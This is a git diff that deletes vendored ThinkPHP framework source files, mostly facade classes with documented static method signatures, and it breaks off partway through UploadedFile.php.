b/vendor/topthink/framework/src/think/facade/Cache.php deleted file mode 100644 index 425b370..0000000 --- a/vendor/topthink/framework/src/think/facade/Cache.php +++ /dev/null @@ -1,48 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; -use think\cache\Driver; -use think\cache\TagSet; - -/** - * @see \think\Cache - * @package think\facade - * @mixin \think\Cache - * @method static string|null getDefaultDriver() 默认驱动 - * @method static mixed getConfig(null|string $name = null, mixed $default = null) 获取缓存配置 - * @method static array getStoreConfig(string $store, string $name = null, null $default = null) 获取驱动配置 - * @method static Driver store(string $name = null) 连接或者切换缓存 - * @method static bool clear() 清空缓冲池 - * @method static mixed get(string $key, mixed $default = null) 读取缓存 - * @method static bool set(string $key, mixed $value, int|\DateTime $ttl = null) 写入缓存 - * @method static bool delete(string $key) 删除缓存 - * @method static iterable getMultiple(iterable $keys, mixed $default = null) 读取缓存 - * @method static bool setMultiple(iterable $values, null|int|\DateInterval $ttl = null) 写入缓存 - * @method static bool deleteMultiple(iterable $keys) 删除缓存 - * @method static bool has(string $key) 判断缓存是否存在 - * @method static TagSet tag(string|array $name) 缓存标签 - */ -class Cache extends Facade -{ - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'cache'; - } -} diff --git a/vendor/topthink/framework/src/think/facade/Config.php b/vendor/topthink/framework/src/think/facade/Config.php deleted file mode 100644 index 604414a..0000000 --- a/vendor/topthink/framework/src/think/facade/Config.php +++ /dev/null @@ -1,37 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; - -/** - * @see \think\Config - * @package think\facade - * @mixin \think\Config - * @method static array load(string $file, string $name = '') 加载配置文件(多种格式) - * @method static bool has(string $name) 检测配置是否存在 - * @method static mixed get(string $name = null, mixed $default = null) 获取配置参数 为空则获取所有配置 - * @method static array set(array $config, string $name = null) 设置配置参数 name为数组则为批量设置 - */ -class Config extends Facade -{ - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'config'; - } -} diff --git a/vendor/topthink/framework/src/think/facade/Console.php b/vendor/topthink/framework/src/think/facade/Console.php deleted file mode 100644 index 0d953f2..0000000 --- a/vendor/topthink/framework/src/think/facade/Console.php +++ /dev/null @@ -1,56 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; -use think\console\Command; -use think\console\Input; -use think\console\input\Definition as InputDefinition; -use think\console\Output; -use think\console\output\driver\Buffer; - -/** - * Class Console - * @package think\facade - * @mixin \think\Console - * @method static Output|Buffer call(string $command, array $parameters = [], string $driver = 'buffer') - * @method static int run() 执行当前的指令 - * @method static int doRun(Input $input, Output $output) 执行指令 - * @method static void setDefinition(InputDefinition $definition) 设置输入参数定义 - * @method static InputDefinition The InputDefinition instance getDefinition() 获取输入参数定义 - * @method static string A help message. getHelp() Gets the help message. - * @method static void setCatchExceptions(bool $boolean) 是否捕获异常 - * @method static void setAutoExit(bool $boolean) 是否自动退出 - * @method static string getLongVersion() 获取完整的版本号 - * @method static void addCommands(array $commands) 添加指令集 - * @method static Command|void addCommand(string|Command $command, string $name = '') 添加一个指令 - * @method static Command getCommand(string $name) 获取指令 - * @method static bool hasCommand(string $name) 某个指令是否存在 - * @method static array getNamespaces() 获取所有的命名空间 - * @method static string findNamespace(string $namespace) 查找注册命名空间中的名称或缩写。 - * @method static Command find(string $name) 查找指令 - * @method static Command[] all(string $namespace = null) 获取所有的指令 - * @method static string extractNamespace(string $name, int $limit = 0) 返回命名空间部分 - */ -class Console extends Facade -{ - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'console'; - } -} diff --git a/vendor/topthink/framework/src/think/facade/Cookie.php b/vendor/topthink/framework/src/think/facade/Cookie.php deleted file mode 100644 index b2956f8..0000000 --- a/vendor/topthink/framework/src/think/facade/Cookie.php +++ /dev/null @@ -1,40 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; - -/** - * @see \think\Cookie - * @package think\facade - * @mixin \think\Cookie - * @method static mixed get(mixed $name = '', string $default = null) 获取cookie - * @method static bool has(string $name) 是否存在Cookie参数 - * @method static void set(string $name, string $value, mixed $option = null) Cookie 设置 - * @method static void forever(string $name, string $value = '', mixed $option = null) 永久保存Cookie数据 - * @method static void delete(string $name) Cookie删除 - * @method static array getCookie() 获取cookie保存数据 - * @method static void save() 保存Cookie - */ -class Cookie extends Facade -{ - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'cookie'; - } -} diff --git a/vendor/topthink/framework/src/think/facade/Env.php b/vendor/topthink/framework/src/think/facade/Env.php deleted file mode 100644 index 721881d..0000000 --- a/vendor/topthink/framework/src/think/facade/Env.php +++ /dev/null @@ -1,44 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; - -/** - * @see \think\Env - * @package think\facade - * @mixin \think\Env - * @method static void load(string $file) 读取环境变量定义文件 - * @method static mixed get(string $name = null, mixed $default = null) 获取环境变量值 - * @method static void set(string|array $env, mixed $value = null) 设置环境变量值 - * @method static bool has(string $name) 检测是否存在环境变量 - * @method static void __set(string $name, mixed $value) 设置环境变量 - * @method static mixed __get(string $name) 获取环境变量 - * @method static bool __isset(string $name) 检测是否存在环境变量 - * @method static void offsetSet($name, $value) - * @method static bool offsetExists($name) - * @method static mixed offsetUnset($name) - * @method static mixed offsetGet($name) - */ -class Env extends Facade -{ - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'env'; - } -} diff --git a/vendor/topthink/framework/src/think/facade/Event.php b/vendor/topthink/framework/src/think/facade/Event.php deleted file mode 100644 index c65690b..0000000 --- a/vendor/topthink/framework/src/think/facade/Event.php +++ /dev/null @@ -1,42 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; - -/** - * @see \think\Event - * @package think\facade - * @mixin \think\Event - * @method static \think\Event listenEvents(array $events) 批量注册事件监听 - * @method static \think\Event listen(string $event, mixed $listener, bool $first = false) 注册事件监听 - * @method static bool hasListener(string $event) 是否存在事件监听 - * @method static void remove(string $event) 移除事件监听 - * @method static \think\Event bind(array $events) 指定事件别名标识 便于调用 - * @method static \think\Event subscribe(mixed $subscriber) 注册事件订阅者 - * @method static \think\Event observe(string|object $observer, null|string $prefix = '') 自动注册事件观察者 - * @method static mixed trigger(string|object $event, mixed $params = null, bool $once = false) 触发事件 - * @method static mixed until($event, $params = null) 触发事件(只获取一个有效返回值) - */ -class Event extends Facade -{ - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'event'; - } -} diff --git a/vendor/topthink/framework/src/think/facade/Filesystem.php b/vendor/topthink/framework/src/think/facade/Filesystem.php deleted file mode 100644 index ac0223a..0000000 --- a/vendor/topthink/framework/src/think/facade/Filesystem.php +++ /dev/null @@ -1,33 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; -use think\filesystem\Driver; - -/** - * Class Filesystem - * @package think\facade - * @mixin \think\Filesystem - * @method static Driver disk(string $name = null) ,null|string - * @method static mixed getConfig(null|string $name = null, mixed $default = null) 获取缓存配置 - * @method static array getDiskConfig(string $disk, null $name = null, null $default = null) 获取磁盘配置 - * @method static string|null getDefaultDriver() 默认驱动 - */ -class Filesystem extends Facade -{ - protected static function getFacadeClass() - { - return 'filesystem'; - } -} diff --git a/vendor/topthink/framework/src/think/facade/Lang.php b/vendor/topthink/framework/src/think/facade/Lang.php deleted file mode 100644 index fa5c691..0000000 --- a/vendor/topthink/framework/src/think/facade/Lang.php +++ /dev/null @@ -1,41 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; - -/** - * @see \think\Lang - * @package think\facade - * @mixin \think\Lang - * @method static void setLangSet(string $lang) 设置当前语言 - * @method static string getLangSet() 获取当前语言 - * @method static string defaultLangSet() 获取默认语言 - * @method static array load(string|array $file, string $range = '') 加载语言定义(不区分大小写) - * @method static bool has(string|null $name, string $range = '') 判断是否存在语言定义(不区分大小写) - * @method static mixed get(string|null $name = null, array $vars = [], string $range = '') 获取语言定义(不区分大小写) - * @method static string detect(\think\Request $request) 自动侦测设置获取语言选择 - * @method static void saveToCookie(\think\Cookie $cookie) 保存当前语言到Cookie - */ -class Lang extends Facade -{ - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'lang'; - } -} diff --git a/vendor/topthink/framework/src/think/facade/Log.php b/vendor/topthink/framework/src/think/facade/Log.php deleted file mode 100644 index eaf104d..0000000 --- a/vendor/topthink/framework/src/think/facade/Log.php +++ /dev/null @@ -1,58 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; -use think\log\Channel; -use think\log\ChannelSet; - -/** - * @see \think\Log - * @package think\facade - * @mixin \think\Log - * @method static string|null getDefaultDriver() 默认驱动 - * @method static mixed getConfig(null|string $name = null, mixed $default = null) 获取日志配置 - * @method static array getChannelConfig(string $channel, null $name = null, null $default = null) 获取渠道配置 - * @method static Channel|ChannelSet channel(string|array $name = null) driver() 的别名 - * @method static mixed createDriver(string $name) - * @method static \think\Log clear(string|array $channel = '*') 清空日志信息 - * @method static \think\Log close(string|array $channel = '*') 关闭本次请求日志写入 - * @method static array getLog(string $channel = null) 获取日志信息 - * @method static bool save() 保存日志信息 - * @method static \think\Log record(mixed $msg, string $type = 'info', array $context = [], bool $lazy = true) 记录日志信息 - * @method static \think\Log write(mixed $msg, string $type = 'info', array $context = []) 实时写入日志信息 - * @method static Event listen($listener) 注册日志写入事件监听 - * @method static void log(string $level, mixed $message, array $context = []) 记录日志信息 - * @method static void emergency(mixed $message, array $context = []) 记录emergency信息 - * @method static void alert(mixed $message, array $context = []) 记录警报信息 - * @method static void critical(mixed $message, array $context = []) 记录紧急情况 - * @method static void error(mixed $message, array $context = []) 记录错误信息 - * @method static void warning(mixed $message, array $context = []) 记录warning信息 - * @method static void notice(mixed $message, array $context = []) 记录notice信息 - * @method static void info(mixed $message, array $context = []) 记录一般信息 - * @method static void debug(mixed $message, array $context = []) 记录调试信息 - * @method static void sql(mixed $message, array $context = []) 记录sql信息 - * @method static mixed __call($method, $parameters) - */ -class Log extends Facade -{ - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'log'; - } -} diff --git a/vendor/topthink/framework/src/think/facade/Middleware.php b/vendor/topthink/framework/src/think/facade/Middleware.php deleted file mode 100644 index 6f1eac5..0000000 --- a/vendor/topthink/framework/src/think/facade/Middleware.php +++ /dev/null @@ -1,42 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; - -/** - * @see \think\Middleware - * @package think\facade - * @mixin \think\Middleware - * @method static void import(array $middlewares = [], string $type = 'global') 导入中间件 - * @method static void add(mixed $middleware, string $type = 'global') 注册中间件 - * @method static void route(mixed $middleware) 注册路由中间件 - * @method static void controller(mixed $middleware) 注册控制器中间件 - * @method static mixed unshift(mixed $middleware, string $type = 'global') 注册中间件到开始位置 - * @method static array all(string $type = 'global') 获取注册的中间件 - * @method static Pipeline pipeline(string $type = 'global') 调度管道 - * @method static mixed end(\think\Response $response) 结束调度 - * @method static \think\Response handleException(\think\Request $passable, \Throwable $e) 异常处理 - */ -class Middleware extends Facade -{ - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'middleware'; - } -} diff --git a/vendor/topthink/framework/src/think/facade/Request.php b/vendor/topthink/framework/src/think/facade/Request.php deleted file mode 100644 index 7c3b180..0000000 --- a/vendor/topthink/framework/src/think/facade/Request.php +++ /dev/null @@ -1,134 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; -use think\file\UploadedFile; -use think\route\Rule; - -/** - * @see \think\Request - * @package think\facade - * @mixin \think\Request - * @method static \think\Request setDomain(string $domain) 设置当前包含协议的域名 - * @method static string domain(bool $port = false) 获取当前包含协议的域名 - * @method static string rootDomain() 获取当前根域名 - * @method static \think\Request setSubDomain(string $domain) 设置当前泛域名的值 - * @method static string subDomain() 获取当前子域名 - * @method static \think\Request setPanDomain(string $domain) 设置当前泛域名的值 - * @method static string panDomain() 获取当前泛域名的值 - * @method static \think\Request setUrl(string $url) 设置当前完整URL 包括QUERY_STRING - * @method static string url(bool $complete = false) 获取当前完整URL 包括QUERY_STRING - * @method static \think\Request setBaseUrl(string $url) 设置当前URL 不含QUERY_STRING - * @method static string baseUrl(bool $complete = false) 获取当前URL 不含QUERY_STRING - * @method static string baseFile(bool $complete = false) 获取当前执行的文件 SCRIPT_NAME - * @method static \think\Request setRoot(string $url) 设置URL访问根地址 - * @method static string root(bool $complete = false) 获取URL访问根地址 - * @method static string rootUrl() 获取URL访问根目录 - * @method static \think\Request setPathinfo(string $pathinfo) 设置当前请求的pathinfo - * @method static string pathinfo() 获取当前请求URL的pathinfo信息(含URL后缀) - * @method static string ext() 当前URL的访问后缀 - * @method static integer|float time(bool $float = false) 获取当前请求的时间 - * @method static string type() 当前请求的资源类型 - * @method static void mimeType(string|array $type, string $val = '') 设置资源类型 - * @method static \think\Request setMethod(string $method) 设置请求类型 - * @method static string method(bool $origin = false) 当前的请求类型 - * @method static bool isGet() 是否为GET请求 - * @method static bool isPost() 是否为POST请求 - * @method static bool isPut() 是否为PUT请求 - * @method static bool isDelete() 是否为DELTE请求 - * @method static bool isHead() 是否为HEAD请求 - * @method static bool isPatch() 是否为PATCH请求 - * @method static bool isOptions() 是否为OPTIONS请求 - * @method static bool isCli() 是否为cli - * @method static bool isCgi() 是否为cgi - * @method static mixed param(string|array $name = '', mixed $default = null, string|array $filter = '') 获取当前请求的参数 - * @method static \think\Request setRule(Rule $rule) 设置路由变量 - * @method static Rule|null rule() 获取当前路由对象 - * @method static \think\Request setRoute(array $route) 设置路由变量 - * @method static mixed route(string|array $name = '', mixed $default = null, string|array $filter = '') 获取路由参数 - * @method static mixed get(string|array $name = '', mixed $default = null, string|array $filter = '') 获取GET参数 - * @method static mixed middleware(mixed $name, mixed $default = null) 获取中间件传递的参数 - * @method static mixed post(string|array $name = '', mixed $default = null, string|array $filter = '') 获取POST参数 - * @method static mixed put(string|array $name = '', mixed $default = null, string|array $filter = '') 获取PUT参数 - * @method static mixed delete(mixed $name = '', mixed $default = null, string|array $filter = '') 设置获取DELETE参数 - * @method static mixed patch(mixed $name = '', mixed $default = null, string|array $filter = '') 设置获取PATCH参数 - * @method static mixed request(string|array $name = '', mixed $default = null, string|array $filter = '') 获取request变量 - * @method static mixed env(string $name = '', string $default = null) 获取环境变量 - * @method static mixed session(string $name = '', string $default = null) 获取session数据 - * @method static mixed cookie(mixed $name = '', string $default = null, string|array $filter = '') 获取cookie参数 - * @method static mixed server(string $name = '', string $default = '') 获取server参数 - * @method static null|array|UploadedFile file(string $name = '') 获取上传的文件信息 - * @method static string|array header(string $name = '', string $default = null) 设置或者获取当前的Header - * @method static mixed input(array $data = [], string|false $name = '', mixed $default = null, string|array $filter = '') 获取变量 支持过滤和默认值 - * @method static mixed filter(mixed $filter = null) 设置或获取当前的过滤规则 - * @method static mixed filterValue(mixed &$value, mixed $key, array $filters) 递归过滤给定的值 - * @method static bool has(string $name, string $type = 'param', bool $checkEmpty = false) 是否存在某个请求参数 - * @method static array only(array $name, mixed $data = 'param', string|array $filter = '') 获取指定的参数 - * @method static mixed except(array $name, string $type = 'param') 排除指定参数获取 - * @method static bool isSsl() 当前是否ssl - * @method static bool isJson() 当前是否JSON请求 - * @method static bool isAjax(bool $ajax = false) 当前是否Ajax请求 - * @method static bool isPjax(bool $pjax = false) 当前是否Pjax请求 - * @method static string ip() 获取客户端IP地址 - * @method static boolean isValidIP(string $ip, string $type = '') 检测是否是合法的IP地址 - * @method static string ip2bin(string $ip) 将IP地址转换为二进制字符串 - * @method static bool isMobile() 检测是否使用手机访问 - * @method static string scheme() 当前URL地址中的scheme参数 - * @method static string query() 当前请求URL地址中的query参数 - * @method static \think\Request setHost(string $host) 设置当前请求的host(包含端口) - * @method static string host(bool $strict = false) 当前请求的host - * @method static int port() 当前请求URL地址中的port参数 - * @method static string protocol() 当前请求 SERVER_PROTOCOL - * @method static int remotePort() 当前请求 REMOTE_PORT - * @method static string contentType() 当前请求 HTTP_CONTENT_TYPE - * @method static string secureKey() 获取当前请求的安全Key - * @method static \think\Request setController(string $controller) 设置当前的控制器名 - * @method static \think\Request setAction(string $action) 设置当前的操作名 - * @method static string controller(bool $convert = false) 获取当前的控制器名 - * @method static string action(bool $convert = false) 获取当前的操作名 - * @method static string getContent() 设置或者获取当前请求的content - * @method static string getInput() 获取当前请求的php://input - * @method static string buildToken(string $name = '__token__', mixed $type = 'md5') 生成请求令牌 - * @method static bool checkToken(string $token = '__token__', array $data = []) 检查请求令牌 - * @method static \think\Request withMiddleware(array $middleware) 设置在中间件传递的数据 - * @method static \think\Request withGet(array $get) 设置GET数据 - * @method static \think\Request withPost(array $post) 设置POST数据 - * @method static \think\Request withCookie(array $cookie) 设置COOKIE数据 - * @method static \think\Request withSession(Session $session) 设置SESSION数据 - * @method static \think\Request withServer(array $server) 设置SERVER数据 - * @method static \think\Request withHeader(array $header) 设置HEADER数据 - * @method static \think\Request withEnv(Env $env) 设置ENV数据 - * @method static \think\Request withInput(string $input) 设置php://input数据 - * @method static \think\Request withFiles(array $files) 设置文件上传数据 - * @method static \think\Request withRoute(array $route) 设置ROUTE变量 - * @method static mixed __set(string $name, mixed $value) 设置中间传递数据 - * @method static mixed __get(string $name) 获取中间传递数据的值 - * @method static boolean __isset(string $name) 检测中间传递数据的值 - * @method static bool offsetExists($name) - * @method static mixed offsetGet($name) - * @method static mixed offsetSet($name, $value) - * @method static mixed offsetUnset($name) - */ -class Request extends Facade -{ - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'request'; - } -} diff --git a/vendor/topthink/framework/src/think/facade/Route.php b/vendor/topthink/framework/src/think/facade/Route.php deleted file mode 100644 index 24ad3c8..0000000 --- a/vendor/topthink/framework/src/think/facade/Route.php +++ /dev/null @@ -1,83 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; -use think\route\Dispatch; -use think\route\Domain; -use think\route\Rule; -use think\route\RuleGroup; -use think\route\RuleItem; -use think\route\RuleName; -use think\route\Url as UrlBuild; - -/** - * @see \think\Route - * @package think\facade - * @mixin \think\Route - * @method static mixed config(string $name = null) - * @method static \think\Route lazy(bool $lazy = true) 设置路由域名及分组(包括资源路由)是否延迟解析 - * @method static void setTestMode(bool $test) 设置路由为测试模式 - * @method static bool isTest() 检查路由是否为测试模式 - * @method static \think\Route mergeRuleRegex(bool $merge = true) 设置路由域名及分组(包括资源路由)是否合并解析 - * @method static void setGroup(RuleGroup $group) 设置当前分组 - * @method static RuleGroup getGroup(string $name = null) 获取指定标识的路由分组 不指定则获取当前分组 - * @method static \think\Route pattern(array $pattern) 注册变量规则 - * @method static \think\Route option(array $option) 注册路由参数 - * @method static Domain domain(string|array $name, mixed $rule = null) 注册域名路由 - * @method static array getDomains() 获取域名 - * @method static RuleName getRuleName() 获取RuleName对象 - * @method static \think\Route bind(string $bind, string $domain = null) 设置路由绑定 - * @method static array getBind() 读取路由绑定信息 - * @method static string|null getDomainBind(string $domain = null) 读取路由绑定 - * @method static RuleItem[] getName(string $name = null, string $domain = null, string $method = '*') 读取路由标识 - * @method static void import(array $name) 批量导入路由标识 - * @method static void setName(string $name, RuleItem $ruleItem, bool $first = false) 注册路由标识 - * @method static void setRule(string $rule, RuleItem $ruleItem = null) 保存路由规则 - * @method static RuleItem[] getRule(string $rule) 读取路由 - * @method static array getRuleList() 读取路由列表 - * @method static void clear() 清空路由规则 - * @method static RuleItem rule(string $rule, mixed $route = null, string $method = '*') 注册路由规则 - * @method static \think\Route setCrossDomainRule(Rule $rule, string $method = '*') 设置跨域有效路由规则 - * @method static RuleGroup group(string|\Closure $name, mixed $route = null) 注册路由分组 - * @method static RuleItem any(string $rule, mixed $route) 注册路由 - * @method static RuleItem get(string $rule, mixed $route) 注册GET路由 - * @method static RuleItem post(string $rule, mixed $route) 注册POST路由 - * @method static RuleItem put(string $rule, mixed $route) 注册PUT路由 - * @method static RuleItem delete(string $rule, mixed $route) 注册DELETE路由 - * @method static RuleItem patch(string $rule, mixed $route) 注册PATCH路由 - * @method static RuleItem options(string $rule, mixed $route) 注册OPTIONS路由 - * @method static Resource resource(string $rule, string $route) 注册资源路由 - * @method static RuleItem view(string $rule, string $template = '', array $vars = []) 注册视图路由 - * @method static RuleItem redirect(string $rule, string $route = '', int $status = 301) 注册重定向路由 - * @method static \think\Route rest(string|array $name, array|bool $resource = []) rest方法定义和修改 - * @method static array|null getRest(string $name = null) 获取rest方法定义的参数 - * @method static RuleItem miss(string|Closure $route, string $method = '*') 注册未匹配路由规则后的处理 - * @method static Response dispatch(\think\Request $request, Closure|bool $withRoute = true) 路由调度 - * @method static Dispatch|false check() 检测URL路由 - * @method static Dispatch url(string $url) 默认URL解析 - * @method static UrlBuild buildUrl(string $url = '', array $vars = []) URL生成 支持路由反射 - * @method static RuleGroup __call(string $method, array $args) 设置全局的路由分组参数 - */ -class Route extends Facade -{ - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'route'; - } -} diff --git a/vendor/topthink/framework/src/think/facade/Session.php b/vendor/topthink/framework/src/think/facade/Session.php deleted file mode 100644 index 33cbf63..0000000 --- a/vendor/topthink/framework/src/think/facade/Session.php +++ /dev/null @@ -1,35 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; - -/** - * @see \think\Session - * @package think\facade - * @mixin \think\Session - * @method static mixed getConfig(null|string $name = null, mixed $default = null) 获取Session配置 - * @method static string|null getDefaultDriver() 默认驱动 - */ -class Session extends Facade -{ - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'session'; - } -} diff --git a/vendor/topthink/framework/src/think/facade/Validate.php b/vendor/topthink/framework/src/think/facade/Validate.php deleted file mode 100644 index 133116d..0000000 --- a/vendor/topthink/framework/src/think/facade/Validate.php +++ /dev/null @@ -1,95 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; - -/** - * @see \think\Validate - * @package think\facade - * @mixin \think\Validate - * @method static void setLang(\think\Lang $lang) 设置Lang对象 - * @method static void setDb(\think\Db $db) 设置Db对象 - * @method static void setRequest(\think\Request $request) 设置Request对象 - * @method static \think\Validate rule(string|array $name, mixed $rule = '') 添加字段验证规则 - * @method static \think\Validate extend(string $type, callable $callback = null, string $message = null) 注册验证(类型)规则 - * @method static void setTypeMsg(string|array $type, string $msg = null) 设置验证规则的默认提示信息 - * @method static Validate message(array $message) 设置提示信息 - * @method static \think\Validate scene(string $name) 设置验证场景 - * @method static bool hasScene(string $name) 判断是否存在某个验证场景 - * @method static \think\Validate batch(bool $batch = true) 设置批量验证 - * @method static \think\Validate failException(bool $fail = true) 设置验证失败后是否抛出异常 - * @method static \think\Validate only(array $fields) 指定需要验证的字段列表 - * @method static \think\Validate remove(string|array $field, mixed $rule = null) 移除某个字段的验证规则 - * @method static \think\Validate append(string|array $field, mixed $rule = null) 追加某个字段的验证规则 - * @method static bool check(array $data, array $rules = []) 数据自动验证 - * @method static bool checkRule(mixed $value, mixed $rules) 根据验证规则验证数据 - * @method static bool confirm(mixed $value, mixed $rule, array $data = [], string $field = '') 验证是否和某个字段的值一致 - * @method static bool different(mixed $value, mixed $rule, array $data = []) 验证是否和某个字段的值是否不同 - * @method static bool egt(mixed $value, mixed $rule, array $data = []) 验证是否大于等于某个值 - * @method static bool gt(mixed $value, mixed $rule, array $data = []) 验证是否大于某个值 - * @method static bool elt(mixed $value, mixed $rule, array $data = []) 验证是否小于等于某个值 - * @method static bool lt(mixed $value, mixed $rule, array $data = []) 验证是否小于某个值 - * @method static bool eq(mixed $value, mixed $rule) 验证是否等于某个值 - * @method static bool must(mixed $value, mixed $rule = null) 必须验证 - * @method static bool is(mixed $value, string $rule, array $data = []) 验证字段值是否为有效格式 - * @method static bool token(mixed $value, mixed $rule, array $data) 验证表单令牌 - * @method static bool activeUrl(mixed $value, mixed $rule = 'MX') 验证是否为合格的域名或者IP 支持A,MX,NS,SOA,PTR,CNAME,AAAA,A6, SRV,NAPTR,TXT 或者 ANY类型 - * @method static bool ip(mixed $value, mixed $rule = 'ipv4') 验证是否有效IP - * @method static bool fileExt(mixed $file, mixed $rule) 验证上传文件后缀 - * @method static bool fileMime(mixed $file, mixed $rule) 验证上传文件类型 - * @method static bool fileSize(mixed $file, mixed $rule) 验证上传文件大小 - * @method static bool image(mixed $file, mixed $rule) 验证图片的宽高及类型 - * @method static bool dateFormat(mixed $value, mixed $rule) 验证时间和日期是否符合指定格式 - * @method static bool unique(mixed $value, mixed $rule, array $data = [], string $field = '') 验证是否唯一 - * @method static bool filter(mixed $value, mixed $rule) 使用filter_var方式验证 - * @method static bool requireIf(mixed $value, mixed $rule, array $data = []) 验证某个字段等于某个值的时候必须 - * @method static bool requireCallback(mixed $value, mixed $rule, array $data = []) 通过回调方法验证某个字段是否必须 - * @method static bool requireWith(mixed $value, mixed $rule, array $data = []) 验证某个字段有值的情况下必须 - * @method static bool requireWithout(mixed $value, mixed $rule, array $data = []) 验证某个字段没有值的情况下必须 - * @method static bool in(mixed $value, mixed $rule) 验证是否在范围内 - * @method static bool notIn(mixed $value, mixed $rule) 验证是否不在某个范围 - * @method static bool between(mixed $value, mixed $rule) between验证数据 - * @method static bool notBetween(mixed $value, mixed $rule) 使用notbetween验证数据 - * @method static bool length(mixed $value, mixed $rule) 验证数据长度 - * @method static bool max(mixed $value, mixed $rule) 验证数据最大长度 - * @method static bool min(mixed $value, mixed $rule) 验证数据最小长度 - * @method static bool after(mixed $value, mixed $rule, array $data = []) 验证日期 - * @method static bool before(mixed $value, mixed $rule, array $data = []) 验证日期 - * @method static bool afterWith(mixed $value, mixed $rule, array $data = []) 验证日期 - * @method static bool beforeWith(mixed $value, mixed $rule, array $data = []) 验证日期 - * @method static bool expire(mixed $value, mixed $rule) 验证有效期 - * @method static bool allowIp(mixed $value, mixed $rule) 验证IP许可 - * @method static bool denyIp(mixed $value, mixed $rule) 验证IP禁用 - * @method static bool regex(mixed $value, mixed $rule) 使用正则验证数据 - * @method static array|string getError() 获取错误信息 - * @method static bool __call(string $method, array $args) 动态方法 直接调用is方法进行验证 - */ -class Validate extends Facade -{ - /** - * 始终创建新的对象实例 - * @var bool - */ - protected static $alwaysNewInstance = true; - - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'validate'; - } -} diff --git a/vendor/topthink/framework/src/think/facade/View.php b/vendor/topthink/framework/src/think/facade/View.php deleted file mode 100644 index a27463b..0000000 --- a/vendor/topthink/framework/src/think/facade/View.php +++ /dev/null @@ -1,42 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\facade; - -use think\Facade; - -/** - * @see \think\View - * @package think\facade - * @mixin \think\View - * @method static \think\View engine(string $type = null) 获取模板引擎 - * @method static \think\View assign(string|array $name, mixed $value = null) 模板变量赋值 - * @method static \think\View filter(\think\Callable $filter = null) 视图过滤 - * @method static string fetch(string $template = '', array $vars = []) 解析和获取模板内容 用于输出 - * @method static string display(string $content, array $vars = []) 渲染内容输出 - * @method static mixed __set(string $name, mixed $value) 模板变量赋值 - * @method static mixed __get(string $name) 取得模板显示变量的值 - * @method static bool __isset(string $name) 检测模板变量是否设置 - * @method static string|null getDefaultDriver() 默认驱动 - */ -class View extends Facade -{ - /** - * 获取当前Facade对应类名(或者已经绑定的容器对象标识) - * @access protected - * @return string - */ - protected static function getFacadeClass() - { - return 'view'; - } -} diff --git a/vendor/topthink/framework/src/think/file/UploadedFile.php b/vendor/topthink/framework/src/think/file/UploadedFile.php deleted file mode 100644 index 66d061e..0000000 --- a/vendor/topthink/framework/src/think/file/UploadedFile.php +++ /dev/null @@ -1,143 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\file; - -use think\exception\FileException; -use think\File; - -class UploadedFile extends File -{ - - private $test = false; - private $originalName; - private $mimeType; - private $error; - - public function __construct(string $path, string $originalName, string $mimeType = null, int $error = null, bool $test = false) - { - $this->originalName = $originalName; - $this->mimeType = $mimeType ?: 'application/octet-stream'; - $this->test = $test; - $this->error = $error ?: UPLOAD_ERR_OK; - - parent::__construct($path, UPLOAD_ERR_OK === $this->error); - } - - public function isValid(): bool - { - $isOk = UPLOAD_ERR_OK === $this->error; - - return $this->test ? $isOk : $isOk && is_uploaded_file($this->getPathname()); - } - - /** - * 上传文件 - * @access public - * @param string $directory 保存路径 